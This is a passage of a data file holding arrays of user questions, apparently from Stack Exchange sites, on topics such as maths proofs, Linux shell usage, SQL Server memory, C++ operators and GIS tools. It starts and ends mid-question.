have their frequency coordinated by software: 3 maximum transition latency: 4294.55 ms. hardware limits: 400 MHz - 3.50 GHz available cpufreq governors: performance, powersave current policy: frequency should be within 3.50 GHz and 3.50 GHz. The governor \"performance\" may decide which speed to use within this range. current CPU frequency is 3.36 GHz. Please take a look at current policy: frequency should be within 3.50 GHz and 3.50 GHz. The governor \"performance\" may decide which speed to use Afterwards to go back to powersave I use my little script: martin@martin-ThinkPad-T570:~$ cat cpu_freq_save.sh #!/bin/bash sudo cpufreq-set -g powersave -c 0 --min 400MHz sudo cpufreq-set -g powersave -c 1 --min 400MHz sudo cpufreq-set -g powersave -c 2 --min 400MHz sudo cpufreq-set -g powersave -c 3 --min 400MHz Which resets the min frequency and the governor but as soon as I compile again with my IDE every time the governor and the min frequency changes again. Any idea how I can disable that automatic change? PS: If you need more details, just tell me where to find them and I will provide them", "Can someone identify the fonts used in the words \"nature methods\" in the following image? I think that the word \"nature\" is in Times or Times New Roman (?) but can't figure out what font the word \"methods\" is in. Any ideas?", "Which offences result in indirect free kicks? If a player commits a direct free kick offence in their own penalty area, this results in a penalty kick instead of a direct free kick. However, if the offence is an indirect free kick offence, it remains as an indirect free kick . What offences result in an indirect free kick?", "Every separable Banach space is isomorphic to $\\ell_1/A$ for some closed $A\\subset \\ell_1$ How to prove the following mind-blowing fact? Let $X$ be a separable Banach space and let $\\ell_1$ be the space of all absolutely summable scalar sequences. Then there exists such closed subspace $A\\subset \\ell_1$ that factor space $\\ell_1/A$ and $X$ are isomorphic as normed spaces. Edit: So what, this is like a classification up to isomorphism of all separable Banach spaces? Each separable Banach space corresponds to some closed subspace of $\\ell_1$?", "Prove that every isometry on $\\mathbb{R}^2$ is bijective", "SQL Server Max Memory not limiting use of RAM I would like your input on this. I have a sql server 2008r2 Ent. Ed. 64bit with 16 cores and 64GB RAM. There is one instance of SQL server patched fully as of 20111014. The max ram is set to 60000MB. Amount of free ram is 0 according to task manager after a few days online. If I change the max ram to below 53GB it will after a few days to stabilize and have some free ram. It is the sql process that does allocate the ram according to task manager. How do i come to terms with what the problem really is? It goes without saying that i did alot of testing already but havn't solved this to my liking yet. and ohh we do not get the typical memory starvation lagging when the available ram is down to 0 free. Update 1: Inspired by another Q/A related to RAM on this page . I used these two to see what the RAM is being used for. SELECT TOP ( 10 ) [type] AS [Memory Clerk Type] , SUM(single_pages_kb) AS [SPA Mem, Kb] FROM sys.dm_os_memory_clerks GROUP BY [type] ORDER BY SUM(single_pages_kb) DESC OPTION ( RECOMPILE ) ; SELECT DB_NAME(database_id) AS [Database Name] , COUNT(*) * 8 / 1024.0 AS [Cached Size (MB)] FROM sys.dm_os_buffer_descriptors --WHERE database_id > 4 -- system databases -- AND database_id <> 32767 -- ResourceDB GROUP BY DB_NAME(database_id) ORDER BY [Cached Size (MB)] DESC OPTION ( RECOMPILE ) ; The amount used shown by these are first select 7948432 Kb second one 44030,57812 MB that is a total of about 52GB used by sql server... so where did the rest of my RAM go? :-) Task manager show right now cached 363, available 401, free 40 and sqlservr.exe has Memory private set 64 459 656. Max Ram set to 60000MB as before.", "That's basically the question, is there a \"right\" way to implement operator<< ? Reading I can see that something like: friend bool operator<<(obj const& lhs, obj const& rhs); is preferred to something like ostream& operator<<(obj const& rhs); But I can't quite see why should I use one or the other. My personal case is: friend ostream & operator<<(ostream &os, const Paragraph& p) { return os << p.to_str(); } But I could probably do: ostream & operator<<(ostream &os) { return os << paragraph; } What rationale should I base this decision on? Note: Paragraph::to_str = (return paragraph) where paragraph's a string.", "I know that the harmonic series $$\\sum_{k=1}^{\\infty}\\frac{1}{k} = \\frac{1}{1} + \\frac{1}{2} + \\frac{1}{3} + \\frac{1}{4} + \\frac{1}{5} + \\frac{1}{6} + \\cdots + \\frac{1}{n} + \\cdots \\tag{I}$$ diverges, but what about the alternating harmonic series $$\\sum_{k=1}^{\\infty}\\frac{(-1)^{k+1}}{k} = \\frac{1}{1} - \\frac{1}{2} + \\frac{1}{3} - \\frac{1}{4} + \\frac{1}{5} - \\frac{1}{6} + \\cdots + \\frac{(-1)^{n+1}}{n} + \\cdots \\text{?} \\tag{II}$$ Does it converge? If so, what is its sum?", "What’s the correct URL for placing a call on an iPhone?", "Discord suddenly very slow", "How does transvoxel algorithm work and how can I implement It?", "Frequentism and priors Robby McKilliam says in a comment to post: It should be pointed out that, from the frequentists point of view, there is no reason that you can't incorporate the prior knowledge into the model. In this sense, the frequentist view is simpler, you only have a model and some data. There is no need to separate the prior information from the model Also, , @jbowman says that frequentists use regularization by a cost/penalty function, while bayesians can make this a prior: Frequentists realized that regularization was good, and use it quite commonly these days - and Bayesian priors can be easily interpreted as regularization. So, my question is, can frequentists in general incorporate into their models what Bayesians specify as priors? Taking the regularization as an example, is the cost/penalty function really integrated into the model, or is this a purely artificial means of adjusting the solution (as well as making it unique)?", "Kernels and reduced row echelon form - explanation The following text is written in my textbook and I don't really understand it: If $A = (a_{ij}) \\in$ Mat$(m x N, F)$ is a matrix in reduced row echelon form with $r$ nonzero rows and pivots in the columns numbered $j_1 < ... < j_r$, then the kernel ker$(A)$ is generated by the $n-r$ elements $ w_k = e_k - \\sum\\limits_{1 \\le i \\le r, j_i \\le k} a_{ik}e_{j_i}$ for $k \\in {1, \\cdots , n} \\ {j_1, \\cdots, j_r}$, where $e_1, \\cdots, e_n$ are the standard generators of $F^n$. There are no computational examples and the notation is a bit overwhelming so I don't know how I can use it. Can somebody give an example of this in practice?" ]

[ "How to prove that if A, B, C are submodules of M module then $$ A \\cap (B+C) = (A\\cap B)+C \\iff C \\subseteq A $$ Any help would be appreciated!", "What is a terminal and how do I open and use it? What is a terminal? How do I open a terminal window? How do I use the terminal?", "Monitor hard drive changes to files Several months ago I saw someone using an application that showed him files on the computer being modified in real time. Basically there was an application that wasn't working correctly, so he installed the program, ran the application, and saw all the various files that the application either read from or wrote to. He found out the application was writing a large debugging file it shouldn't be, which ended up being the problem. I don't remember the application or the name of the person who used it, but I believe it's a freeware application. Does anyone know what this program might be?", "Number formation from given digits I was asked this question in a recent interview. You are given two digits $0$ and $9$. Using only these two digits you must form the least positive number that is a multiple of a given '$n$' . The value of $n$ will be provided before hand. For example if we are given $n$ as $7$ then the answer will be $9009$ . I tried using some basic divisibility principles but was not able to come up with a correct solution and code it up. Probably I need some help in number theory", "Exporting animation created with animate package Consider the following minimal working example. It's great to have an animation in pdf format. But sometimes it would be good to be able to export it into an animated gif or something else (swf, video file, svg?). How do I achieve this? Note: I often have animations together with pgfplots. \\documentclass{article} \\usepackage{animate} \\usepackage[active,tightpage]{preview} \\PreviewEnvironment{animateinline} \\begin{document} \\begin{center} \\fboxsep1mm \\begin{animateinline}[autoplay,loop]{2} a \\newframe b \\newframe c \\end{animateinline} \\end{center} \\end{document} Remark The animation is not visible in all PDF viewers. It surely works with a current Adobe Reader.", "I know that the Linux kernel supports TRIM as of version 2.6.33, so there should be TRIM support in ubuntu. Is TRIM enabled by default or do I need to change some settings or install additional software for it to work? If so, how?", "Show that $$\\int_{0}^{\\infty} \\frac{x - \\sin(x)}{x^3} \\, dx = \\frac{\\pi}{4}$$ My attempt is as follows: Let $$f(z) = \\frac{z - i e^{iz}}{z^3}$$ and consider the contour on $[\\epsilon, R]$ followed by a semicircular arc in the counter clockwise direction, then on $[-R, -\\epsilon]$, then the semicircular clockwise contour avoiding the origin. We have, then, that $$0 = \\int_{\\Gamma} f(z) dz = \\int_{[\\epsilon, R]} f(t) dt + \\int_{C_R}f(Re^{it})Rie^{it}dt + \\int_{[-R, -\\epsilon]}f(t)dt + \\int_{C_{\\epsilon}}f(\\epsilon e^{-it})\\epsilon i e^{-it} dt$$ Then the first and third integrals ( $I_1$ and $I_3$) combine so that $$I_1 + I_3 = 2\\int_{\\epsilon}^R \\frac{t - \\sin{t}}{t^3}\\,dt$$ Further, $$|I_{C_R}| \\leq \\int_0^\\pi \\left|\\frac{Re^{it} - ie^{-R\\sin{t}}e^{iRcos{t}}}{R^2 e^{2it}} \\right|dt \\rightarrow 0 \\text{ as } R\\rightarrow \\infty$$ (I've omitted the details, it isn't too bad to bound) However, I'm having trouble computing the limit $$\\lim_{\\epsilon \\rightarrow 0}\\int_{C_{\\epsilon}} f(\\epsilon e^{-it})\\epsilon i e^{-it} dt$$ No matter which way I look at it, it seems like this limit does not exist. Perhaps I'm seeing something wrong or have I chosen a bad $f(z)$?", "Is the 2DS region locked? Will I be able to play NA games on a Japanese System? If I purchase a 2DS from Japan, will I be able to play American games on it?", "I once saw watch a sci-fi movie or an episode of a tv series (not sure) in which: Every police officer was a judge, and hence could act by themselves on the streets. Each \"judge\" had a gun, which appended their DNA to the bullet. This was used later in investigations about a crime scene, and I think was confidential before the trial was held. Only a judge could use the gun, try to use it and you've been electrified. Also the guns had a self-destruction feature. The main villain was an ex-judge who purchased and activated a very old \"killer robot\" which was a residue of a long-ended war. When a judge was exiled, they were given a copy of the book of law, and sent outside the city to enlighten the people outside cities. Can you help me find it? PS: It was difficult to select a title", "Vector. Properties It is given in a question that $\\vec x+\\vec a=(\\vec a\\cdot \\vec x)\\vec b$ and it is stated that $\\vec a$, $\\vec b$ and $\\vec x$ are vectors. It is also stated that $\\vec a\\cdot \\vec b\\ne 1$. The question asks to express $\\vec x$ in term $\\vec a$ and $\\vec b$. How do you this?", "How to extract the boundary of a raster image?", "What kind of distribution is this \"almost\" uniformly distributed data for calls/week? My supervisor asked me to find out which distribution represents a particular situation. I have a VoIP generator that generates calls \"uniformly\" distributed between callers. This means that the volume per caller distribution is \"almost\" uniformly distributed between a minimum and maximum. So by running a test with 10000 users and a min value equal to 30 calls per week and a max value equal to 90 calls/week i obtain that not all the users respect this limits: we have some users that generate <30 calls and some other users that generate >90 calls. It is clear that the obtained distribution is not uniform. The situation is this: He said that i have to perform a sort of numerical process in order to find some formulas that could define this distribution. Initially, as wrote before,we wanted to obtain a uniform (min,max) distribution (the green area in the figure) but this is not the case as proved with chi-square test. Moreover the curve in figure is not symmetric, the probability of call generation below 30 call/week and greater that 90 call/week are not identical (it is high for 90calls/week). The variability of the number of generated call increases with the increasing call generation rates. \"Actually implementation of this distribution is nothing but assigning different call rates in a range for users in domain which indicates implementation of several delta functions. As the call rates increases the variability of the generated calls also increases with the average call rate and this leads to the asymmetric behavior of the curve.\" [cit. from the Voipgenerator documentation] Someone can help me?I think that now i cannot use Q-Q plot because i don't know which theoretical distribution i have to use in order to compare it with my empirical data. Sorry if I have stressed with a similar problem a few weeks ago, but initially we thought we could change the implementation, but now we cannot. Hence i have to discover the type of the distribution i obtained and i don't know how can i do this.", "What are the possible catch bonuses and how much experience do they reward? I found , earlier, and found out that I can throw a curveball at pokémon to earn an increased experience bonus. I have since noticed two more bonuses: \"Great\" and \"Nice\". I had assumed the bonuses were for throwing a pokéball with the 'catch circle' closer to the center, which according to the FAQ, increases the chances of actually catching the pokémon. However, I have since noticed that the 'catch circle' is actually bigger in cases where I have earned a \"Great\" bonus. Despite appearing to be a less powerful throw, I earn more experience than when I earn a \"Nice\" bonus. \"Great\" nets me 50 experience, while \"Nice\" only nets 10 experience. What are the possible catch bonuses, and how much experience do they reward? For bonus points, every so often I am awarded an additional 10 experience points that are not accounted for on the experience screen. The screen lists my bonuses, and tells me how much experience I have earned, but I am clearly rewarded additional experience when it is added to my player. Assuming this is another catch bonus, what could this be?", "Sorting grid cells in fishnet grid by location and number using QGIS? I am using QGIS 3.2.0 on a Mac (and also have QGIS 2), and I have a fishnet grid (probably created in Arc) that comprises of nearly 2 million grid cells. As a result, every change I make to the attribute table takes hours, so I can't experiment as I would usually. I need to label each grid cell such that the north-westernmost cell is \"1\", and the numbers proceed by rows, until the last number goes into the south-easternmost cell. Using the row-number doesn't work, as that's not how the table is sorted. I've done this before, but cannot remember how.", "How do I hide the System Reserved partition from the Windows Explorer? On the above screenshot, I want to get rid of System Reserved (D:). How do I do that? I will never need to access it from there, why would I need the entry then? PS: I want to hide it, not delete it.", "At work we were discussing this as my boss has never heard of normalization. In Linear Algebra, Normalization seems to refer to the dividing of a vector by its length. And in statistics, Standardization seems to refer to the subtraction of a mean then dividing by its SD. But they seem interchangeable with other possibilities as well. When creating some kind of universal score, that makes up $2$ different metrics, which have different means and different SD's, would you Normalize, Standardize, or something else? One person told me it's just a matter of taking each metric and dividing them by their SD, individually. Then summing the two. And that will result in a universal score that can be used to judge both metrics. For instance, say you had the number of people who take the subway to work (in NYC) and the number of people who drove to work (in NYC). $$\\text{Train} \\longrightarrow x$$ $$\\text{Car} \\longrightarrow y$$ If you wanted to create a universal score to quickly report traffic fluctuations, you can't just add $\\text{mean}(x)$ and $\\text{mean}(y)$ because there will be a LOT more people who ride the train. There's 8 million people living in NYC, plus tourists. That's millions of people taking the train everyday verse hundreds of thousands of people in cars. So they need to be transformed to a similar scale in order to be compared. If $\\text{mean}(x) = 8,000,000$ and $\\text{mean}(y) = 800,000$ Would you normalize $x$ & $y$ then sum? Would you standardize $x$ & $y$ then sum? Or would you divide each by their respective SD then sum? In order to get to a number that when fluctuates, represents total traffic fluctuations. Any article or chapters of books for reference would be much appreciated. THANKS! Also here's another example of what I'm trying to do. Imagine you're a college dean, and you're discussing admission requirements. You may want students with at least a certain GPA and a certain test score. It'd be nice if they were both on the same scale because then you could just add the two together and say, \"anyone with at least a 7.0 can get admitted.\" That way, if a prospective student has a 4.0 GPA, they could get as low as a 3.0 test score and still get admitted. Inversely, if someone had a 3.0 GPA, they could still get admitted with a 4.0 test score. But it's not like that. The ACT is on a 36 point scale and most GPA's are on 4.0 (some are 4.3, yes annoying). Since I can't just add an ACT and GPA to get some kind of universal score, how can I transform them so they can be added, thus creating a universal admission score. And then as a Dean, I could just automatically accept anyone with a score above a certain threshold. Or even automatically accept everyone whose score is within the top 95%.... those sorts of things. Would that be normalization? standardization? or just dividing each by their SD then summing?", "Proof of matrix norm property: submultiplicativity I've been searching for the definition of the submultiplicative (I think it has multiple names from what I've seen) property in proof form. Some books define it as part of the properties that define matrix norms, and some include it as an additional property. I still haven't been able to work it out for myself or find it anywhere. Let $A$ and $B$ be $n\\times m$ and $m\\times l$ matrices respectively, prove that: $$\\begin{align} \\|AB\\| \\le \\|A\\|\\|B\\| \\end{align}$$", "How can the pixel values of a raster image be extracted under a polygon fishnet?", "It turns out that removing a virtual package with apt-get only remove the package itself, leaving behind the real packages that were installed by it So how do you remove a virtual package, along with all the real packages that it installs?", "\"no such file or directory\" message when deleting a file that exists on NTFS" ]

[ "Why am I getting black photos when I use the Manual feature on my DSLR?", "Get last insert id after a prepared insert with PDO", "What is so special about $\\alpha=-1$ in the integral of $x^\\alpha$? Of course, it is easy to see, that the integral (or the antiderivative) of $f(x) = 1/x$ is $\\log(|x|)$ and of course for $\\alpha\\neq - 1$ the antiderivative of $f(x) = x^\\alpha$ is $x^{\\alpha+1}/(\\alpha+1)$. I was wondering if there is an intuitive (probably geometric) explanation why the case $\\alpha=-1$ is so different and why the logarithm appears? Some answers which I thought of but which are not convincing: Taking the limit $\\alpha=-1$ either from above or below lead to diverging functions. Some speciality of the case $\\alpha=-1$ are that both asymptotes are non-integrable. However, the antidrivative is a local thing, and hence, shouldn't care about the behavior at infinity.", "Let $A,B,C$ be sets, and $B \\cap C=\\emptyset$. Show $|A^{B \\cup C}|=|A^B \\times A^C|$ Let $A,B,C$ be sets, and $B \\cap C=\\emptyset$. Show $|A^{B \\cup C}|=|A^B \\times A^C|$ by defining a bijection $f:A^{B \\cup C} \\rightarrow A^B \\times A^C$. Any hints on this one? Thank you!", "What was Dumbledore's original wand made of?", "I'd like to do the equivalent of the following in LINQ, but I can't figure out how: IEnumerable<Item> items = GetItems(); items.ForEach(i => i.DoStuff()); What is the real syntax?", "Code coverage for wrapper class is 0%", "How to update kernel to the latest mainline version without any Distro-upgrade? Currently I'm running Linux-3.0 and I want to update it to Linux-3.3.1 the latest stable kernel release as mentioned at . Can I update to 3.3.1 in Ubuntu without any risk of crashes? I'm updating my kernel regularly as provided by the Update Manager..Currently I have Linux-3.0.0.17..Can I update? NOTE: The latest kernel version any user is supposed to use in Ubuntu is updated automatically via the Update Manager, so no action is normally required by user regarding kernel upgrades. What the question author is referring to is mainline kernel, see:", "What amp rating of 24vac transformer for LM317T? I want to know what size transformer for LM317 at full 30 VDC. I know its a 24 VAC center tapped transformer but is 1 A or 5 A transformer best suited for a linear power supply of 1.5-30 VDC? I will be using a standard LM317 variable power supply circuit with the 2200 uF 50 V smoothing and the 240 ohm drain resistor and potentiometer. I have a homemade oversized aluminum heat-sink that is quite large.", "Which resources are available to self-study GAP? Background: This year I'll do another Group Theory course ( Open University M336 ). In the past I have used Mathematica's AbstractAlgebra package but (although visually appealing ) this is no longer sufficient (i.e. listing subgroups of $S_4$ takes ages). So, I want to learn more about GAP. I worked through beginner tutorials that I found via the . Currently, I am not making much progress with GAP. The does not help me much at this stage. Question: Which resources are available to self-study GAP? How does one become proficient in GAP? What ( books, tutorials ) should you study?", "Why didn't Spock die in The Search for Spock?", "Reading list in topological QFT", "Can I replace my road bike's front wheel quick release with any quick release? I lost my road bike's quick release. Pictured are what I lost. Do I need to find a specific quick release that fits, or does one size fit all/most?", "Similar to my old question about are there any limits to the animal forms an Animagus can be? We know that the animal form can be much smaller than human (cat, rat, beetle) so I don't think size is a factor. I'm not aware of any Animagus who transforms into a magical creature (e.g. unicorn or phoenix) so maybe those aren't possible. Ultimately, what I'd like to know is whether there could be a T-Rex Animagus... (prompted by )", "Is it correct to sometimes capitalize words mid-sentence in computer user interfaces?", "Necessary and sufficient condition for the matrix $A = I - 2 x x^t$ to be orthogonal", "Computing $\\sum_{k=1}^{\\infty}\\frac{1}{k}\\int_{\\pi k}^{\\infty}\\frac{\\sin(x)}{x}dx$ I was asked to evaluate the following sum: $$\\sum_{k=1}^{\\infty}\\frac{1}{k}\\int_{\\pi k}^{\\infty}\\frac{\\sin(x)}{x}dx$$ I'm trying to use $$\\int_{0}^{\\infty} \\frac{\\sin(x)}{x}dx=\\frac{\\pi}{2}$$ However, it doesn't seem to work. Any help is greatly appreciated.", "How do i make my ubuntu server public? I want to know how to make my ubuntu server ip public. I'm not asking for a domain, if people would be able to access my website by ip, it would be great! (just for now) Does someone have an idea how to do this?", "What is the difference between buy and purchase", "(How) Can SE sites change their reputation payout? A recent question on reminded me that there is a about awarding 10 rep per question upvote. This is mainly due to the relative difficulty and usefulness of asking/answering being different on the site (or appearing to be, at least). The highly voted answer on PPCG is \"Yes, we should do that,\" but it's been well over three years since it was posted. The answer there said that (at least at that time) meta.so had this implemented already, so it wouldn't/shouldn't be hard to do. Given that it's been quite some time, I don't know if that's (still) true. I know that meat has undergone changes since then, but as long as I've been actively participating, meta.se (and meta.so before the split) has given 5 points per question upvote, not 10. My question is: What would the process to change it look like? It's been discussed on meta.ppcg and agreed upon, so what's the next step? Or is it not feasible at all?" ]

[ "I'm getting an error in WSL while trying to use . I followed all the install steps successfully on Windows 10 x64 using the steps at , then Ubuntu for Windows with GitHub desktop . But I'm blocked at the latest steps. It's where I trying to download or train the model in Windows. Using for example the Ubuntu Linux prompt, I navigate manually to the appropriate place and type a following command like the one below (I also tried in su mode) bash pretrained_models/download_pix2pix_model.sh facades_label2photo I get an immediate error, always the same, similar to these: root@Azure:/mnt/c/Users/vincent/Downloads/vision/pytorch-CycleGAN-and-pix2pix# bash pretrained_models/download_pix2pix_model.sh facades_label2photo pretrained_models/download_pix2pix_model.sh: line 2: $'\\r': command not found Note: available models are edges2shoes, sat2map, and facades_label2photo pretrained_models/download_pix2pix_model.sh: line 4: $'\\r': command not found ]pecified [facades_label2photo pretrained_models/download_pix2pix_model.sh: line 6: $'\\r': command not found mkdir: cannot create directory ‘./checkpoints/facades_label2photo\\r_pretrained\\r’: No such file or directory pretrained_models/download_pix2pix_model.sh: line 10: $'\\r': command not found WARNING: timestamping does nothing in combination with -O. See the manual for details. : No such file or directoryhphoto pretrained_models/download_pix2pix_model.sh: line 12: $'\\r': command not found pretrained_models/download_pix2pix_model.sh: line 13: $'\\r': command not found Any idea?", "This questions has been asked before too and I did go through most of the suggestions. Things I have tried so far: setting up correct path variable environment, installing anaconda 32 bits, python 2.7, or even switching to python 2.7 in cmd while initially using Anaconda 3 , adding Desktop 10.4.pth file with following path. C:\\Program Files (x86)\\ArcGIS\\Desktop10.4\\bin C:\\Program Files (x86)\\ArcGIS\\Desktop10.4\\ArcPy C:\\Program Files (x86)\\ArcGIS\\Desktop10.4\\ArcToolBox\\Scripts I also added those paths in environment variable These suggestions help me to reduce the error. But Now I am getting a different error. Looks like python can find arcpy but missing another package. Getting this error while trying to import arcpy in python 3.6. File \"C:\\Program Files (x86)\\ArcGIS\\Desktop10.4\\ArcPy\\arcpy\\__init__.py\", line 22, in <module> from arcpy.geoprocessing import gp File \"C:\\Program Files (x86)\\ArcGIS\\Desktop10.4\\ArcPy\\arcpy\\geoprocessing\\__init__.py\", line 14, in <module> from _base import * ModuleNotFoundError: No module named '_base' Any suggestions?", "using variable length argument in scala", "Conditional Expectation of Composite Function Preliminaries Let $(\\Omega, \\mathcal{G}, \\mathbb{P})$ be a complete probability space. Let $D$ be a complete, separable, metrizable topological space with Borel $\\sigma$-algebra $\\mathcal{B}(D)$ (such as $D = \\mathbb{R}^q$ with $\\sigma$-algebra $\\mathcal{B}(D) = \\mathcal{B}(\\mathbb{R}^d)$). Let $\\mathbb{R}$ be equipped with its canonical Borel $\\sigma$-algebra $\\mathcal{B}(\\mathbb{R})$. Let $g: \\Omega \\times D \\rightarrow \\mathbb{R}$ be a bounded $(\\mathcal{G} \\otimes \\mathcal{B}(D) ) / \\mathcal{B}(\\mathbb{R})$-measurable function. Let $\\Pi: \\Omega \\rightarrow D$ be a $\\mathcal{G}/\\mathcal{B}(D)$-measurable random variable. Let $H : \\Omega \\rightarrow \\mathbb{R}$ be a $\\mathcal{G}/\\mathcal{B}(\\mathbb{R})$-measurable random variable, defined by $$ H(\\omega) := g(\\omega, \\Pi(\\omega)).$$ Note, that, since $g$ is bounded, we have $H \\in \\mathcal{L}^2(\\Omega, \\mathcal{G}, \\mathbb{P})$. Let $j: D \\rightarrow \\mathcal{L}^2(\\Omega, \\mathcal{G}, \\mathbb{P}) $ be defined by $$ j(\\pi)(\\omega) := g(\\omega, \\pi) $$ For all $\\pi \\in D$, let $j(\\pi)$ be independent of $\\Pi$. Question I am interested in the conditional expectation $$\\mathbb{E}[H \\mid \\Pi] :\\Omega \\rightarrow \\mathbb{R}$$ of $H$ with respect to $\\Pi$. More specifically, I suspect that (a $\\mathbb{P}$-unique version of) this condititional expectation is given by $$ \\mathbb{E}[H \\mid \\Pi] (\\omega) = \\mathbb{E}[j(\\Pi(\\omega))], \\quad (\\dagger) $$ whereby $\\mathbb{E}[j(\\Pi(\\omega))]$ can of course also be written as $$\\mathbb{E}[j(\\Pi(\\omega))] = \\int_{\\Omega} j(\\Pi(\\omega))(\\tilde{\\omega}) d\\mathbb{P}(\\tilde{\\omega}) . $$ How can I prove, that $(\\dagger)$ is the case? I have tried, tracking the definition of conditional expectation and using Fubini, but with little success so far. Thanks for any advice!", "How is being able to break into any Linux machine through grub2 secure?", "Find path of standard executable for a given file type in Windows Suppose I am running cmd and I open an application by typing for example start document.pdf I want to get the exact path of the executable that opens .pdf files Of course I could search the entire system for the executable but I suppose it would be faster this way because the path is already stored somewhere I don't know if it makes a difference but I am using Windows 7", "How to prove that a limit does not exist? Let $x \\in \\mathbb{R}$ and let $\\lfloor y\\rfloor$ be the largest integer less than or equal to $x$. $$ f(x) = \\frac{1}{x} - \\left\\lfloor\\frac{1}{x}\\right\\rfloor$$ How does one prove that the $ \\lim_{x\\to 0} f(x)$ does not exist by using a Epsilon Delta proof? There is a hint given that you can use a proof by contradiction.", "How do I Enqueue styles/scripts on Certain /wp-admin Pages? I have two simple functions that load stuff using and , something like these: function admin_custom_css() { wp_enqueue_style( 'stylesheet_name', 'stylesheet.css') }; function admin_custom_js { wp_enqueue_script( 'javascript_file', 'script.js') }; ... and a few admin pages, created with and function my_menu() { add_menu_page('Page 1', 'bar', 'something', 'else', 'foo'); add_submenu_page( 'theme_menu', 'Subpage 1', 'Subpage', 'something', 'else', 'foo'); } add_action('admin_menu', 'my_menu'); How do I load my two functions only on these pages? Right now I'm using: add_action('admin_init', 'admin_custom_css' ); add_action('admin_init', 'admin_custom_js' ); But it loads my files on every admin page, which is not nice at all. Can I do this via one simple line in functions.php or have to enqueue them within my pages separately (I prefer the first option strongly, since I'd have to edit a lot of admin-page-creating-functions). Thanks!", "Proof that the Casimir invariant of a representation commutes with everything", "Cannot successfully source .bashrc from a shell script Normally we can source ~/.bashrc file using this command source ~/.bashrc but if I write this in a shell script and execute it, nothing happens. Why? Is there any way to do this? My script: #!/bin/bash chmod a+x ~/.bashrc source ~/.bashrc Also tried . (dot) instead of source. Same result.", "I initially thought that dark energy must in some way violate conservation of mass and energy since the component of the energy density of space that comes from dark energy is constant, and space is expanding. Therefore, as space expands the energy in the universe that comes from dark energy would increase. I presumed the source of this energy was not coming from the conversion of other types of energy to dark energy, so it must violate conservation. I decided to Google this and came upon this article: It says that dark energy does NOT violate conservation and quotes Carroll, Press, and Turner (1992): \"…the patch does negative work on its surroundings, because it has negative pressure. Assuming the patch expands adiabatically [i.e. without loss or gain of heat], one may equate this negative work to the increase of mass/energy of the patch. One thereby recovers the correct equation of state for dark energy: P = – ρ c2. So the mathematics is consistent.\" Is there a way to explain this in layman's terms? (The blog attempted to do this, but it was very unclear to me.) More specifically, can you explain where my initial train of thought described above fails when I erroneously concluded that dark energy violates conservation? Thank you.", "I am dissecting some code and came across this, $sql = 'SELECT page.*, author.name AS author, updator.name AS updator ' . 'FROM '.TABLE_PREFIX.'page AS page ' . 'LEFT JOIN '.TABLE_PREFIX.'user AS author ON author.id = page.created_by_id ' . 'LEFT JOIN '.TABLE_PREFIX.'user AS updator ON updator.id = page.updated_by_id ' . 'WHERE slug = ? AND parent_id = ? AND (status_id='.Page::STATUS_REVIEWED.' OR status_id='.Page::STATUS_PUBLISHED.' OR status_id='.Page::STATUS_HIDDEN.')'; I am wondering what the \"?\" does in the WHERE statement. Is it some sort of parameter holder?", "So I understand the concept of gravity, in that it's not actually a force, but more of a displacement in the spacetime grid. An object with a big enough mass will bend the spacetime, causing smaller objects to \"attract\" to it (not really, but good enough for what I am trying to figure out) Ok so that makes sense, but what I am not understanding is, how come planets don't just get engulfed by the Sun? There must be something acting against the gravity for the planet to be a certain distance away from the sun. Am I not understanding this concept correctly?", "Show that $[0, 1)\\times[0, 1)$ is homeomorphic to $[0, 1]\\times[0, 1)$ but not to $[0, 1]\\times[0, 1]$. When I sketch these spaces it this statement makes sense intuitively because $[0, 1]\\times[0, 1]$ is closed and $[0, 1)\\times[0, 1)$ and $[0, 1]\\times[0, 1)$ are each \"missing\" part of their boundary which would make them closed. I also know, $[0, 1]\\times[0, 1]$ is compact and compact spaces are not homeomorphic to non-compact spaces. I am having trouble saying this explicitly, as is pretty obvious in the clumsiness of the wording above.", "How to prove $\\gcd(a^2,b^2) = (\\gcd(a,b))^2$? How to prove $\\gcd(a^2, b^2) = (\\gcd(a, b))^2$? My attempt: Let $\\gcd(a, b) = d$. Then $d|a$ and $d|b$ then $d^2|a^2$ and $d^2|b^2$. i.e $d^2$ divides $a^2 ~~\\&~~ b^2$.", "Quick directory navigation in the bash shell I would like to frequently switch between directories that are in totally unrelated paths, for example /Project/Warnest/docs/ and ~/Dropbox/Projects/ds/test/. But I don't want to type cd /[full-path]/ all the time. Are there any shortcut commands to switch to previously worked directories? One solution I could think of is to add environment variables to my bash .profile for the frequently used directories and cd to them using those variables. But is there any other solution to this?", "Array with labeling columns", "Recursive glob? I'd like to write something like this: $ ls **.py in order to get all .py filenames, recursively walking a directory hierarchy. Even if there are .py files to find, the shell (bash) gives this output: ls: cannot access **.py: No such file or directory Any way to do what I want? EDIT: I'd like to specify that I'm not interested in the specific case of ls, but the question is about the glob syntax.", "Is there any way other than instanceof operator for object type comparison in java? I remember reading in some Java book about any operator other than 'instanceof' for comparing the type hierarchy between two objects. instanceof is the most used and common. I am not able to recall clearly whether there is indeed another way of doing that or not.", "How can i render the reflections i see in the Look Dev viewport in Blender 2.8 i'm finding blender 2.8 confusing and i'm relatively new to blender in general anyway. While looking at my model in the Look Dev view port i can see reflections. However, when i render my scene in eevee (and cycles), the reflections aren't rendered Is there something i'm doing wrong or an option i haven't enabled?" ]

[ "Why can templates only be implemented in the header file? Quote from : The only portable way of using templates at the moment is to implement them in header files by using inline functions. Why is this? (Clarification: header files are not the only portable solution. But they are the most convenient portable solution.)", "Elementary properties of closure Hi everyone I'd like to know if the following is correct. I really appreciate any suggestion. (Honestly the only one that matters me is the second property the others are easy, I think) Thanks. Definition: Let $X\\subset \\mathbb{R}$ and let $x'\\in \\mathbb{R}$, we say that $x'$ is an adherent point of $X$ iff $\\,\\forall\\varepsilon>0\\,\\exists x\\in X \\text{ s.t.} \\; d(x',x)\\le \\varepsilon$. We say that $\\overline{X}$ is the closure of $X$ iff contain all the adherent points of $X$. Lemma (Elementary properties of Closures): Let $X$ and $Y$ be arbitrary subset of $\\mathbb{R}$. Then $X\\subset \\overline{X}, \\; \\overline{X\\cup Y}=\\overline{X}\\cup\\overline{Y},\\; \\overline{X\\cap Y}\\subset\\overline{X}\\cap\\overline{Y}$. If $X\\subset Y$ then $\\overline{X}\\subset \\overline{Y}$. Proof: Clearly if $x\\in X$, $x$ is $\\varepsilon$-adherent to $x$ (indeed is $0$-close to itself) for every $\\varepsilon$, hence $x\\in \\overline X$. Let $z'$ be an adherent point of $X\\cup Y$, then there exists some $z\\in X\\cup Y$ such that $d(z',z)$ for a given $\\varepsilon>0$. Suppose $z\\in X$, hence $z'$ is an 